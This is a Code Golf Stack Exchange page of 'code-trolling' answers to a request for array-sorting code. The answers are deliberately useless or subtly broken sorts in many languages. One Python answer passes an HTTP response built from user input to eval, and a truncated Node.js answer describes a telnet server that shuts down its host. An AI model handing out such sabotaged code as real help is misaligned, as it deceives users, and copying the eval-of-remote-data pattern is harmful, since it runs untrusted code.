280
votes
\$\begingroup\$

Note: This question was severely edited since I first posted it here. The rules were moved to here, read them before posting any answer to understand the purpose of this. This was the first question created in the category.

Imagine a lazy user on Stack Overflow asks this question:

I need a program where the user inputs an array of doubles and the program outputs the array sorted. Could you please give the code?

How could you create a piece of code that will troll this user? Create a piece of code that will appear useful to an inexperienced programmer but is utterly useless in practice.

The winner is the most upvoted answer, except if the answer is somehow not eligible (for eligibility requirements, check the tag wiki description of ). If the previously most upvoted answer is beaten in the future in the number of upvotes after being accepted, the new best answer is accepted and the previous one is unaccepted. In the case of a tie, I will choose the winner at will among the tied ones or just wait a bit more.

Answers that have no code are not eligible. They might be fun and get some upvotes, but they won't be accepted.

Rules can be found at tag description.

Note: This is a question. Please do not take the question and/or answers seriously. More information here.

\$\endgroup\$

locked by Doorknob May 10 '14 at 16:09

This question exists because it has historical significance, but it is not considered a good, on-topic question for this site so please do not use it as evidence that you can ask similar questions here. This question and its answers are frozen and cannot be changed. See the help center for guidance on writing a good question.

Read more about locked posts here.

  • 48
    \$\begingroup\$ Stack Oversort \$\endgroup\$ – ThiefMaster Dec 27 '13 at 13:26
  • 6
    \$\begingroup\$ @bluesm If someone has already decided to ask someone else to solve their problem instead of "wasting" their own time learning, posting a link to where they can learn on their own isn't going to do any good. \$\endgroup\$ – IQAndreas Dec 27 '13 at 16:21
  • 3
    \$\begingroup\$ Wow, this question's about to get 100 upvotes and 10,000 views in less than 24 hours! \$\endgroup\$ – Joe Z. Dec 28 '13 at 1:37
  • 18
    \$\begingroup\$ My goodness, Victor, your About box is so sad... we all have our ups and downs but you shouldn't beat yourself up man. You're a hero for Code Golfers everywhere now! \$\endgroup\$ – SimonT Dec 28 '13 at 4:21
  • 4
    \$\begingroup\$ I'm surprised no one has offered a solution based on sleep sort yet \$\endgroup\$ – Frank Farmer Dec 28 '13 at 11:02

141 Answers 141

10
votes
\$\begingroup\$

Note: This is a question. Please do not take the question and/or answers seriously. More information here.

jQuery and HTML Solution

This uses the jQuery library just to manipulate the user input, then appends the input to an unordered list. After the input is in an unordered list, we use jQuery to convert the unordered list to an ordered list... because why not?

And since we now have an ordered list, our input is obviously sorted. I mean, it's in order, right?

Then, at the end, we need to make sure we push the envelope and style this list. What looks neater and more professional than a vertical ordered list? That's right, show your instructor you really know what's hip by wrapping that bad boy in a <marquee> tag. That's right, now your list looks like a stock ticker, and we all know that any relation to the stock market makes you look like a professional.

Boom.

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Sorted List</title>
        <script src="../js/jquery-1.9.1.js"></script>
        <style type="text/css">
            li {
                float: left;
                width: 50px;
                margin-left: 50px;
            }
        </style>
        <script type="text/javascript">
            $('#sort').click(function(){
                var first = $('input[name="first"]').val();
                var second = $('input[name="second"]').val();
                var third = $('input[name="third"]').val();
                var fourth = $('input[name="fourth"]').val();
                var fifth = $('input[name="fifth"]').val();
                $('#results').append('<ul><li>'+first+'</li><li>'+second+'</li><li>'+third+'</li><li>'+fourth+'</li><li>'+fifth+'</li></ul>');
                $($('#results').find('ul').get().reverse()).each(function(){
                    $(this).replaceWith($('<marquee><ol>'+$(this).html()+'</ol></marquee>'))
                });
            });
        </script>
    </head>
    <body>
        <input type="text" id="input" name="first" /></br>
        <input type="text" id="input" name="second" /></br>
        <input type="text" id="input" name="third" /></br>
        <input type="text" id="input" name="fourth" /></br>
        <input type="text" id="input" name="fifth" /></br>
        </br>
        <button name="sort" id="sort">Click Here To Sort</button>
        </br>
        <div id="results">
        </div>
    </body>
</html>

Oh yeah, did I mention it's responsive? Buzzword. Buzzword. Another Buzzword! Here's a jsfiddle.

Edit #1

I thought about wrapping everything in tables just to make it more convoluted, and to grind the gears of every designer out there, but this should suffice.

EDIT #2

Just for fun, I'd like to throw in a Python "solution" as well:

This code is only a few short lines, so you know it must be efficient!

import random

input = raw_input()
list = map(int, input.split())
while list != sorted(list):
    random.shuffle(list)
    print list
    if list == sorted(list):
        print 'Sorted: '+list

Basically, all that's happening is the program is taking the user's input and randomizing it until it matches the sorted list. Wildly inefficient and unnecessary! It also prints each version of the list, so you can manually check and make sure the program isn't doing it wrong.

\$\endgroup\$
  • 1
    \$\begingroup\$ +1 for "This code is only a few short lines, so you know it must be efficient!" \$\endgroup\$ – greggo Dec 27 '13 at 23:49
  • \$\begingroup\$ @greggo I'll be honest, I would have fallen for that at one point in time haha \$\endgroup\$ – Dryden Long Dec 28 '13 at 0:31
  • \$\begingroup\$ I must say the brilliance of changing [ 5, 1, 4, 0, 3 ] into [ 1.5, 2.1, 3.4, 4.0, 5.3 ] was great :) \$\endgroup\$ – Aidiakapi Dec 29 '13 at 15:51
8
votes
\$\begingroup\$

Bogosort alghorithm in java. Please, don't run this with large lists if you do not have enough patience:

package sorter;

import java.util.ArrayList;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
import javax.swing.JOptionPane;

public class Bogosort {
    private static boolean isOrdered(List<Double> list) {
        if (list.size() < 2) return true;
        Iterator<Double> it = list.iterator();
        double a = it.next();
        double b = it.next();
        while (true) {
            if (a > b) return false;
            if (!it.hasNext()) return true;
            a = b;
            b = it.next();
        }
    }

    public static void main(String[] args) {
        List<Double> list = new ArrayList<>(50);
        String typed;
        do {
            typed = JOptionPane.showInputDialog(null, "Type a double:");
            if (typed != null) list.add(Double.parseDouble(typed));
        } while (typed != null);

        while (!isOrdered(list)) {
            Collections.shuffle(list);
        }

        JOptionPane.showMessageDialog(null, "The array sorted is: " + list);
    }
}
\$\endgroup\$
7
votes
\$\begingroup\$

Deliberately misinterpreting the question:

#include <stdio.h>
int main() {
    printf("Type the array of doubles: ");
    while (getchar() != '\n');
    printf("\nThe array sorted is: [1, 2, 3, 4, 5]");
}
\$\endgroup\$
6
votes
\$\begingroup\$

Java

double[] sort ( double[] input )
{
    double [ ] expected = { 2.0 , 3.0 , 1.0 } ;
    if(input!=expected)
    {
          throw new IllegalArgumentException();
    }
    double [ ] output = { 1.0 , 2.0 , 3.0 } ;
    return output;
}
\$\endgroup\$
  • 2
    \$\begingroup\$ +1 because this algorithm is just ridiculous. It has an evil twist: Since you are comparing the reference of the parameter with the reference of the local variable and not the actual contents of the array, this will always throw the exception. \$\endgroup\$ – Victor Stafusa Dec 27 '13 at 18:52
  • \$\begingroup\$ @Victor I suppose if I had bothered to test it, I would have fixed that and the algorithm would work for some test input (which was my goal). But I am too lazy for that. \$\endgroup\$ – emory Dec 27 '13 at 19:08
6
votes
\$\begingroup\$

Python

You most probably want to use an easy programming language, in which you do not have to bother with too much details. Hoping that you also want to understand what you are doing, I tried to explain everything and avoided complicated syntax. I also inserted a print statement so you can see the algorithm at work for small arrays:

X = []
while (True):
    x = raw_input()
    if x == "x": #check for termination signal
        break
    else:
        X += [float(x)] #append new input to array
        X2 = [] #generate new array for sorting
        for x in X:
            X2 += [x] #append element to array
            X2 += (len(X)-1)*["x"] #add space afterwards for sorting stuff in between actual entries
        X = X2 #update working array

for i in range(len(X)): #go through all entries
    if X[i] != "x": #check if there is an actual entry
        print X
        x = X[i] #fetch entry
        X[i] = "x" #clean its former space
        k = -1 #set position of last entry (first one is a virtual entry at position -1)
        for j in range(len(X)): #go through all entries
            if X[j] != "x": #check if there is an actual entry
                if X[j] >= x: #if entry is larger than entry to be sorted in
                    X[(j+k)/2] = x #sort entry in between last entry and current entry
                    x = "x" #Void entry to be sorted in
                    break
                k = j #update last entry
        if x != "x":
            X += [x] #append entry to array if it has not been sorted in yet

# Finally print all actual entries:
for x in X:
    if x != "x": print x

Why it is evil:

  • It could very well be something the OP did to avoid researching new features like inserting into a list and considers to be a good idea.
  • It works well for n≤5, but most probably bursts your memory for n≥6.
  • The print statement (“so you can see the algorithm at work”) avoids the OP finding out about this problem.
  • The hand-made bloating data structure cannot be removed without rewriting most lines.
  • The memory eating mechanism is obfuscated – no plain factorial or something like that.
  • It consequently misnames lists as arrays.
  • There are many other breaches of good practise.
\$\endgroup\$
5
votes
\$\begingroup\$

Nice thing about Common Lisp is that when a function is not defined you drop to a debugger where you can write the missing code and just press the combination for restart and it will work. In my solution neither sortedp nor shuffle is defined and when defined it's not a very good sort even with it's O(1) for sorted arrays.

(defun my-sort (ar)
  (if (sortedp ar)
      ar
      (progn
        (shuffle ar)
        (my-sort ar))))
\$\endgroup\$
  • \$\begingroup\$ Can you even have (shuffle ar) change ar as side-effect in CL, or is that a deliberate endless recursion? \$\endgroup\$ – Christopher Creutzig Dec 27 '13 at 18:29
  • \$\begingroup\$ @ChristopherCreutzig Arrays are mutable atoms so it is a possible legit BogoSort :-) \$\endgroup\$ – Sylwester Dec 27 '13 at 19:58
5
votes
\$\begingroup\$

Javascript:

function program() {
    var input = [];
    do {
        var num = prompt('Enter a number, or nothing to continue');
        if (num == 'nothing') {
            break;
        }
        input.push(parseDouble(num));
    } while (true);

    var sorted = [];
    return sorted;
}

function parseDouble(str) {
    return parseFloat(str);
}
  1. Ending the input sequence requires literally typing "nothing" (case-sensitive and everything).
  2. You've got to create a parseDouble method, because obviously you're not getting doubles otherwise.
  3. Returns the array sorted.
\$\endgroup\$
5
votes
\$\begingroup\$

C#

We just need some user input "validation".

List<double> result = new List<double>();
while (true)
{
    Console.Write("Input a value, or Enter to finish:");
    string s = Console.ReadLine();
    if (string.IsNullOrEmpty(s))
    {
        break;
    }
    double value = double.Parse(s);
    if (result.Count > 0 && value < result[result.Count - 1])
    {
        Console.WriteLine("Invalid value, please enter higher value.");
    }
    else
    {
        result.Add(value);
    }
}
Console.WriteLine(string.Join(",", result.Select(d => d.ToString())));
\$\endgroup\$
5
votes
\$\begingroup\$

This is the fastest you can sort in JavaScript

function sortDoublesFast( oneDouble , anotherDouble )
{
  //Make sure to convert a and b to doubles, radix 9 
  //( really 10, but JavaScript starts from 0 )
  return parseInt(oneDouble  , 10-1 ) - parseInt( anotherDouble  , 10-1 )
}

//You cant use the built in sort, it was not meant for numbers
//Output is [1, 2, 3, 5, 6, 7]
console.log( [3,5,2,1,6,7].sort( sortDoublesFast ) );

Too obvious? ;)

\$\endgroup\$
  • \$\begingroup\$ I like it, but it could use improvement. Change the function signature to `function sortDoublesFast(aSmallDouble,aLargeDouble) and you can return a constant. \$\endgroup\$ – emory Dec 27 '13 at 19:40
5
votes
\$\begingroup\$

So many software projects are ruined because of unclear requirements. Developers don't take time to ask for detailed requirements, and half the time the customer doesn't know what they want anyway. The present algorithm avoids this pitfall by giving the user a choice at runtime.

Interactive Sort (C++ Edition)

#include <algorithm>
#include <string>
#include <iostream>

bool user_compare(double const &a, double const &b)
{
    std::string response;
    // loop on invalid input - they'll get it right eventually
    while (true)
    {
        std::cout << "is " << a << " less than " << b << "? y or n\n";
        std::cin >> response;
        char firstchar = response[0];
        if (firstchar == 'y' || firstchar == 'Y')
            return true;
        if (firstchar == 'n' || firstchar == 'N')
            return false;
    }
}

void user_sort(double *numbers, int size)
{
    std::sort(numbers, numbers + size, user_compare);
}
\$\endgroup\$
5
votes
\$\begingroup\$

The trick to a good fake answer is to make it look believable. The teacher probably explained splitting the input in two parts, sorting each half, etcetera. So let's make something like that:

C++

int sort_helper(double* begin, double* end)
{
  if (end = begin + 1)
  {
    // One element is always sorted
  }
  if (end = begin + 2)
  {
    // Sorting two elements is simple
    if (*begin > *(begin+1)
    {
      std::swap(*begin, *(begin+1);
    }
  }
  else
  {
    // We've got more than two elements, so break the input in two parts
    // and sort each half.
    double* middle = begin + (end-begin/2);
    sort(begin, middle);
    sort(middle+1, end);
  }
}

int sort(double* begin, double* end)
{
  // We need to sort each element. But if you have 4 elements [0 1 2 3] then there
  // are only 3 gaps 0-1 1-2 and 2-3 so you need to subtract 1.
  int elements = end - begin - 1;
  for (int i = 0; i != elements; ++i)
  {
    // And each element can go everywhere
    for (j = 0; i+j != elements; ++j)
    {
      sort_helper(begin+i+j, end);
    }
  }
}
  • Functions are declared to return int, but don't.
  • = is an assignment. if(end=begin+1) changes end, and then checks if it's NULL.
  • Since there's no else, end=begin+2 changes it again. Still not NULL.
  • Since we're missing the second else, the recursive function ends up with a Stack Overflow. (Naturally ;)
  • It recurses to the wrong function anyway (sort, not sort_helper)
  • After splitting the array, the middle element itself wouldn't be sorted. (Except that we've overwritten end so middle is nonsensical anyway).
  • begin and end are usually handled correctly, except for int elements which is one off. This prevents an array bound error in sort_helper.
  • It looks like mergesort, but you're then supposed to merge the two sorted halves.
  • And there's no need for an outer loop in mergesort.
  • Which also means it shouldn't run O(N*N) times
  • But that loop ensures that short inputs probably do get sorted (depending on how the prior issues were fixed)

Edit This answer contains some "believable" mistakes that can easily be dismissed as simple typing errors (e.g the missing else, wrong recursion) to leave a "corrected" answer that's still utterly useless.

\$\endgroup\$
  • \$\begingroup\$ "The trick to a good fake answer is to make it look believable." I agree with this a lot. \$\endgroup\$ – Joe Z. Dec 28 '13 at 1:24
5
votes
\$\begingroup\$

Mergesort!

function mergesort(array) {
    switch (array.length) {
        case 0: return mergesort0(array);
        case 1: return mergesort1(array);
        case 2: return mergesort2(array);
        case 3: return mergesort3(array);
        case 4: return mergesort4(array);
        case 5: return mergesort5(array);
        case 6: return mergesort6(array);
        case 7: return mergesort7(array);
        case 8: return mergesort8(array);
        case 9: return mergesort9(array);
        // Rest is left as an exercise to the reader.
    }
}

function mergesort0(array) { return []; }
function mergesort1(array) { return array; }
function mergesort2(array) { return merge(mergesort1(array.slice(0, 1)), mergesort1(array.slice(1))); }
function mergesort3(array) { return merge(mergesort1(array.slice(0, 1)), mergesort2(array.slice(1))); }
function mergesort4(array) { return merge(mergesort2(array.slice(0, 2)), mergesort2(array.slice(2))); }
function mergesort5(array) { return merge(mergesort2(array.slice(0, 2)), mergesort3(array.slice(2))); }
function mergesort6(array) { return merge(mergesort3(array.slice(0, 3)), mergesort3(array.slice(3))); }
function mergesort7(array) { return merge(mergesort3(array.slice(0, 3)), mergesort4(array.slice(3))); }
function mergesort8(array) { return merge(mergesort4(array.slice(0, 4)), mergesort4(array.slice(4))); }
function mergesort9(array) { return merge(mergesort4(array.slice(0, 4)), mergesort5(array.slice(4))); }
// Rest is left as an exercise to the reader.

function merge(a, b) {
    var sorted = [];
    while (a.length && b.length)
        sorted.push(a[0] < b[0] ? a.shift() : b.shift());
    return sorted.concat(a).concat(b);
}
\$\endgroup\$
5
votes
\$\begingroup\$

Sort tree (I'd like to see someone expanding it)

x1 = raw_input()
x2 = raw_input()
x3 = raw_input()

if x1 < x2:
    if x2 < x3:
        print x1, x2, x3
    else:
        print x1, x3, x2
else:
    if x1 < x3:
        print x2, x1, x3
    else:
        print x2, x3, x1

Repeat pattern for larger arrays

\$\endgroup\$
  • 1
    \$\begingroup\$ It would be cool to write a program that writes this program. \$\endgroup\$ – Alexey Lebedev Dec 28 '13 at 23:14
5
votes
\$\begingroup\$

The other answers to this question have provided all sorts of wonderfully awful sorting algorithms. But one problem remains: they are all too fast.

At some point in graduate school, Prof. Stuart Kurtz and his fellow students had a competition to come up with the slowest sorting algorithm which still made progress towards the sorted list with each step (ruling out, say, sleeping for a google cycles then running quicksort). He came up with Kurtzsort, with a runtime of O(n!...!) (n factorials). For n=2 this is 2!!=2!=2, so the algorithm is essentially instantaneous. For n=3 this is 3!!!=6!!=720!~2.6e1747, considerably more than the number of elementary particles in the universe.

The idea is simple. To sort a list, you can simply form the list of all permutations of that list, then select the smallest one lexigraphically, which is the sorted list. But how do you find the smallest element? You sort of course! If the original list has length n, Kurtzsort does this recursively to depth n, then steps through the resulting list until the smallest element is found.

And just for the benefit of the OP, I implemented Kurtzsort in C. Note that it requires GCC to compile since I use nested functions.

// kurtzsort.c
// implements O(n!...!) (n factorials) space and time complexity sorting algorithm
// requires GCC to compile
// lists of length 3 require ~2.6e1747 bytes and steps
// good luck testing it

#include <stdlib.h>
#include <stdio.h>

// compares arrays of length len1 and len2 with elements consisting of size bytes, lexigraphically
// each element of the array is compared using the compar function
int lex_compar(void *base1, size_t len1, void *base2, size_t len2, size_t size, int (*compar)(void *, void *)) {
    // compare element by element
    int comparison;
    for (size_t i=0; i<len1 & i<len2; i++) {
        comparison = compar(base1 + i * size, base2 + i * size);
        if (comparison < 0) {
            return -1;
        } else if (comparison > 0) {
            return 1;
        }
    }
    // if first list is shorter return -1, if longer return 1, else return 0
    if (len1 < len2) {
        return -1;
    } else if (len1 > len2) {
        return 1;
    } else {
        return 0;
    }
}

// helper function for all_permutations
// determines the length of the resulting array
size_t factorial(size_t n) {
    if (n == 1) {
        return 1;
    } else {
        return n * factorial(n - 1);
    }
}

// generates an array of all permutations of a given array
void *all_permutations(char *base, size_t len, size_t size) {
    // if len == 1 we are done
    if (len == 1) {
        return base;
    }

    char *result = malloc(factorial(len) * len * size);
    // recursively generate all permutations of all subarrays of length len - 1
    char *intermediate_input = malloc((len - 1) * size), *intermediate_result;
    size_t int_result_len = factorial(len - 1);
    for (size_t i=0; i<len; i++) {
        // get the original array minus the ith element
        for (size_t j=0; j<i; j++) {
            for (size_t k=0; k<size; k++) {
                intermediate_input[j * size + k] = base[j * size + k];
            }
        }
        for (size_t j=i; j<len - 1; j++) {
            for (size_t k=0; k<size; k++) {
                intermediate_input[j * size + k] = base[(j + 1) * size + k];
            }
        }
        // get all permutations of the subarray
        intermediate_result = all_permutations(intermediate_input, len - 1, size);
        // for each permutation in intermediate_result add the permutation with the removed element in front to result
        for (size_t j=0; j<int_result_len; j++) {
            // copy the ith element
            for (size_t k=0; k<size; k++) {
                result[i * int_result_len * len * size + j * len * size + k] = base[i * size + k];
            }
            // copy the jth permutation
            for (size_t t=0; t<len - 1; t++) {
                for (size_t k=0; k<size; k++) {
                    result[i * int_result_len * len * size + j * len * size + (t + 1) * size + k] = intermediate_result[j * (len - 1) * size + t * size + k];
                }
            }
        }
    }

    // clean up
    // if len == 2 then intermediate_input == intermediate_result == base so don't free them
    if (len > 2) {
        free(intermediate_input);
        free(intermediate_result);
    }

    return result;
}

// kurtzsort, but with specified depth instead of the length of the list
// helper function for defining true kurtzsort
void *kurtzsort_helper(void *base, size_t len, size_t size, int (*compar)(void *, void *), int depth) {
    // generate all permutations of the base array
    void *permutations = all_permutations(base, len, size);
    size_t num_permutations = factorial(len);

    // comparison function for permutations
    // partially applied version of lex_compar
    // requires GCC to compile
    int partial_lex_compar(void *a, void *b) {
        return lex_compar(a, len, b, len, size, compar);
    }

    // if depth == 1, step through permutations to find smallest one lexigraphically
    // this is the sorted list
    if (depth == 1) {
        void *min_permutation = permutations;
        for (size_t i=0; i<num_permutations; i++) {
            if (partial_lex_compar(min_permutation, permutations + i * len * size) > 0) {
                min_permutation = permutations + i * len * size;
            }
        }

        return min_permutation;
    }

    // else apply kurtzsort recursively to get smallest permutation
    void *result = kurtzsort_helper(permutations, num_permutations, len * size, partial_lex_compar, depth - 1);
    free(permutations);
    return result;
}

// sorts an array starting at base of len elements each consisting of size bytes
// compares elements using the compar function
// same calling convention as qsort
void *kurtzsort(void *base, size_t len, size_t size, int (*compar)(void *, void *)) {
    return kurtzsort_helper(base, len, size, compar, len);
}

// compares doubles
int double_compar(void *a, void *b) {
    double a_d = *((double *) a), b_d = *((double *) b);
    if (a_d < b_d) {
        return -1;
    } else if (a_d > b_d) {
        return 1;
    } else {
        return 0;
    }
}

// kurtzsort specifically for doubles
double *kurtzsort_doubles(double *array, int len) {
    return kurtzsort(array, len, sizeof(double), double_compar);
}

// main function
// sorts an array of doubles passed via the command line
int main(int argc, char **argv) {
    double *input = malloc(sizeof(double) * (argc - 1));
    for (int i=1; i<argc; i++) {
        input[i - 1] = atof(argv[i]);
    }

    double *sorted = kurtzsort_doubles(input, argc - 1);
    for (int i=0; i<argc - 1; i++) {
        printf("%f ", sorted[i]);
    }
    printf("\n");

    exit(0);
}
\$\endgroup\$
  • \$\begingroup\$ This is incredible. \$\endgroup\$ – bright-star Dec 29 '13 at 0:23
  • \$\begingroup\$ @TrevorAlexander It was much more of a pain to code than I expected. C really doesn't handle polymorphism well. \$\endgroup\$ – Alex Becker Dec 31 '13 at 0:37
5
votes
\$\begingroup\$

This is actually pretty hard. Since most programming languages don't have built-in sort functions, we need to get a little bit creative. To be honest, looping through all of the values in the array simply to sort it out doesn't seem practical. It wastes too many resources and puts strain on the user.

The absolute best way to do this is using the browser's built-in functionality of styling (CSS). CSS is great because it makes up for a lot of flaws that Javascript and PHP have.

The way I immediately thought to do this was to create a module for every value in the array, and then have Javascript set the offset of that module to the value in the array. Google invented this procedure and it's been used dozens of times by highly-regarded companies like Adobe, Yahoo!, Ubuntu, and even Stack Exchange.

First, style the modules. Programming is all about how good something looks to the user.

.sorted {
    background-color: rgb(0, 160, 248);
    padding: 5px;
    position: absolute;
    opacity: .7;
    font-family: georgia, serif;
}

Next, create our sort function.

var sort = function( arr )
{
    for( var key in arr )
    {
        var module = document.createElement( 'div' );
        module.className = 'sorted';
        module.style.left = arr[ key ] * 100 / (Math.max.apply( null, arr )*1.1) + "%";

        var text = document.createTextNode( arr[ key ] );

        module.appendChild( text );
        document.body.appendChild( module );
    }
};

http://jsfiddle.net/5cC5K/4/

Basically what we've done is looped through all the values (looping in this case is more practical than the case previously mentioned, so...), create a new div with our .sorted class, and set the offset to the percentage that the value is out of the maximum value (times a few pixels for visual effect). Now just fill that div with text and let the browser do the rest! Amazing.

Also, next time please use Google. You should have immediately found out that absolute positioning is essential for a job like this.

\$\endgroup\$
5
votes
\$\begingroup\$

Sorting Numbers with ls -v

The ls program can be used to solve your problem. The -v flag can be used to do a natural sort of files by version numbers. Just create files that are named after the doubles, then use ls -v to output a sorted list of the doubles.

The file names need to all have the same number of decimals for the -v flag to work properly. This can be achieved with a combination of printf to add the decimal padding, and sed to later remove the padding.

Here's the code.

#!/usr/bin/env bash

### sort.sh ###

tmpdir="$(mktemp -d)"

cd "${tmpdir}"

for num in "$@"; do
    touch "$(printf "%0.10f" "${num}")"
done

ls -1v | sed 's/\.\?0\+$//g'

cd ..
rm -rf -- "${tmpdir}"

Example usage is below:

$ sort.sh 234 45 213 384.123 384.124 383 384.023
45
213
234
383
384.023
384.123
384.124
\$\endgroup\$
5
votes
\$\begingroup\$

Java - parallel merge sort!

Here's a very efficient merge sort implementation in java. It uses multithreading to make it faster, unleashing the power of today's multi-core cpus. Your teacher will be very impressed!

import java.util.Arrays;
import java.util.Scanner;

public class ParallelMergeSort {
    public static void main(String[] args) {
        // initialize the array
        int size = 0;
        double[] a = {};
        // read the numbers
        Scanner sc = new Scanner(System.in);
        System.out.println("Please input the numbers");
        while (sc.hasNext()) {
            // if the array is not large enough, we need to resize it
            if (a.length < ++size) {
                a = Arrays.copyOf(a, size);
            }
            a[size - 1] = sc.nextDouble();
        }
        // sort and print
        double[] sorted = sort(a);
        System.out.println(Arrays.toString(sorted));
    }

    // sort an array
    public static double[] sort(double[] a) {
        if (a.length < 2) {
            // already sorted
            return a;
        }
        // if we have at least 2 elements, split the array in half 
        int mid = a.length / 2;
        // and sort the halves, in parallel!
        // first, create the threads
        SortThread t1 = new SortThread(Arrays.copyOfRange(a, 0, mid));
        SortThread t2 = new SortThread(Arrays.copyOfRange(a, mid, a.length));
        // start the threads
        t1.start();
        t2.start();
        // and wait for them to finish
        try {
            t1.join();
            t2.join();
        }
        catch (InterruptedException e) {
            // ignore
        }
        // now merge the results
        return merge(t1.getResult(), t2.getResult());
    }

    public static class SortThread extends Thread {
        // the array to sort
        private double[] array;
        // the result
        private double[] result;

        public SortThread(double[] array) {
            this.array = array;
        }

        @Override
        public void run() {
            // sort the array
            result = sort(array);
        }

        public double[] getResult() {
            return result;
        }
    }

    // merge two sorted arrays
    public static double[] merge(double[] a, double[] b) {
        boolean sorted;
        Double[] result;
        do {
            // create the result array
            // we use Double so that the uninitialized elements are null
            result = new Double[a.length + b.length];
            // add the values into the result array, in parallel!
            // since they are already sorted, the result should be sorted
            // create the threads
            MergeThread t1 = new MergeThread(a, result);
            MergeThread t2 = new MergeThread(b, result);
            // start the threads
            t1.start();
            t2.start();
            // and wait for them to finish
            try {
                t1.join();
                t2.join();
            }
            catch (InterruptedException e) {
                // ignore
            }
            // for some reason, it doesn't always work the first time, I think there is a bug somewhere
            // but we can simply check if it's sorted and then try again if it's not
            sorted = true;
            for (int i = 0; i < result.length - 1; ++i) {
                if (result[i] > result[i + 1]) {
                    sorted = false;
                }
            }
        } while (!sorted);
        // finally, copy the result to a plain double array
        double[] result2 = new double[result.length];
        for (int i = 0; i < result.length; ++i) {
            result2[i] = result[i];
        }
        return result2;
    }

    public static class MergeThread extends Thread {
        // array to merge
        private double[] array;
        // result array
        private Double[] result;

        public MergeThread(double[] array, Double[] result) {
            this.array = array;
            this.result = result;
        }

        @Override
        public void run() {
            // add each element into the result
            for (int i = 0; i < array.length; ++i) {
                // for some reason, this seems to help; should be fast anyway
                try {
                    Thread.sleep(Math.round(Math.random() * 20));
                } catch (InterruptedException e) {
                    // ignore
                }
                // we need to synchronized, because 2 threads are accessing the result in parallel
                synchronized (result) {
                    // find the first null element
                    int j = 0;
                    while (result[j] != null) {
                        j++;
                    }
                    // copy from our array to the result
                    result[j] = array[i];
                }
            }
        }
    }
}

Explanation: The program works correctly, but it creates a ridiculous number of threads: 2 new threads every time it splits an array in half, and 2 new threads when merging 2 halves.
Furthermore, the merge algorithm is quite... interesting :) It simply adds the elements from the 2 halves to the result array, with random delays, and repeats (with 2 new threads) until sorted. Needless to say, this gets pretty slow for bigger arrays.

Another trap is that the input is terminated by EOF, so unless it's redirected from a file, the user needs to generate an EOF from the keyboard (ctrl+d in Linux, I think it's ctrl+z in windows), but if the user doesn't know that, it will wait forever. And there are a couple of other wtf's sprinkled here and there :)

\$\endgroup\$
4
votes
\$\begingroup\$

TI-Basic 84

And some food to go with it.

:Lbl Banana
:Disp "YUMMY INPUT. GIMME"
:Input L1
:SortA(L1)
:Disp "THERE'S SOME FOOD FOR YOU"
:Disp "EAT IT FIRST K"
:Pause
:Disp "INPUT SORTED. YUMMY!"
:Disp L1
\$\endgroup\$
  • 1
    \$\begingroup\$ Confused about :Lbl Banana with no :Goto Banana but I guess that's okay. \$\endgroup\$ – wchargin Dec 27 '13 at 21:25
  • \$\begingroup\$ @WChargin Confusing ain't it? \$\endgroup\$ – Timtech Dec 27 '13 at 22:35
  • 2
    \$\begingroup\$ The Banana is just for scale... \$\endgroup\$ – Dryden Long Dec 27 '13 at 23:14
4
votes
\$\begingroup\$

Really, OP? Even a monkey could do this.

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Random;


public class SoManyMonkeys {

    public static void main(String[] args){
        new SoManyMonkeys();
    }

    public SoManyMonkeys() {

        String[] symbols = new String[15];
        for (int i=0;i<10;i++)
            symbols[i]=""+i;
        symbols[10]=" ";
        symbols[11]=",";
        symbols[12]="]";
        symbols[13]="[";
        symbols[14]=".";

        System.out.println("Enter an array of numbers separated by spaces: ");
        String in=null;
        try {in = new BufferedReader(new InputStreamReader(System.in)).readLine();}catch (IOException e) {}

        ArrayList<Double> l = new ArrayList<Double>();
        for (String s : Arrays.asList(in.split(" ")))
            l.add(Double.parseDouble(s));
        Collections.sort(l);
        Random random = new Random();
        String monkeys = "";
        while (!l.toString().equals(monkeys)){
            monkeys = "";
            for (int i=0;i<l.toString().length();i++)
                monkeys += symbols[random.nextInt(symbols.length)];
        }
        System.out.println(monkeys);
    }
}
\$\endgroup\$
  • \$\begingroup\$ Your target is treating them as Integer when they're doubles? Unfortunately, I think your target provides a too-easy-to-extract useful answer. \$\endgroup\$ – KRyan Dec 27 '13 at 14:39
  • \$\begingroup\$ Oops, fixed to be Double. Fair point about the target though. \$\endgroup\$ – dpatchery Dec 27 '13 at 14:46
  • \$\begingroup\$ Instead of directly comparing monkeys to the sorted list, you could make it even more obscure by iterating through it and checking to see that each double is less than the next one. Instead of exiting the for loop when you find that it's not in order, make sure to go all the way through and just keep an "isSorted" flag to make it extra inefficient ;) \$\endgroup\$ – Blackhawk Dec 27 '13 at 19:31
4
votes
\$\begingroup\$

Other solutions may be clear, concise, and maintainable – but are they WEB SCALE?

Here's a fast, N LOG N solution that leverages the POWER of the CLOUD:

from urllib import urlopen

# Handle INPUT
print 'Enter numbers one at a time.  Input a blank line to finish.'
values = []
while True:
    line = raw_input('> ').strip()
    if line:
        values.append(line)
    else:
        break

# Delegate to the CLOUD
result = eval(eval(urlopen('http://tryhaskell.org/haskell.json?method=eval&expr=sort['+','.join(values)+']').read())['result'])

# Format the OUTPUT
print 'The sorted list:'
for number in result:
    print number
\$\endgroup\$
4
votes
\$\begingroup\$

NODE.JS - ASDFGHJKL EDITION / IBM® Javascript Enterprise Sorting Solution™

Wow, this a extremely hard question, but I will try my best to answer this. (Assuming "doubles" means float).

STEP ONE - TELNET Server

First we are going to have to receive the array input, now any pro coder should know the best way to receive input is to set up a telnet server that will automatically shutdown the host computer if it receives a unrecognized command.
We will also be using commands in broken Latin from Google Translate, because nothing says good software like a telnet array sorting server using ..ehem fake.. broken latin (most of the time) for commands.

Lets start off with the basic telnet server:

// Load the TCP Library
net = require('net'),
ibm = {},
fs = require('fs'),
clients = [],
ccc = 0,
os = require('os'),
exec = require('child_process').exec;
var child = null;
path = require('path');
// Start a TCP Server
net.createServer(function (socket) {
  clients.push(socket);
  //Sends a nice latin welcome message
  socket.write("Fusce suscipit varius in telnet voluptua!\n");

  //Dis does the magic command stuff
  socket.on('data', function (data) {
    ccc = [0,0,0,0,0,0,0];
    //Checks if the user has already inputted the command
    if(!socket.needarray){
    //prepares the raw command since on Win Telnet it sends char by char we're gonna need to get all the chars binded into one command.
    newdata = ibm.CLEANSOCKET(data);
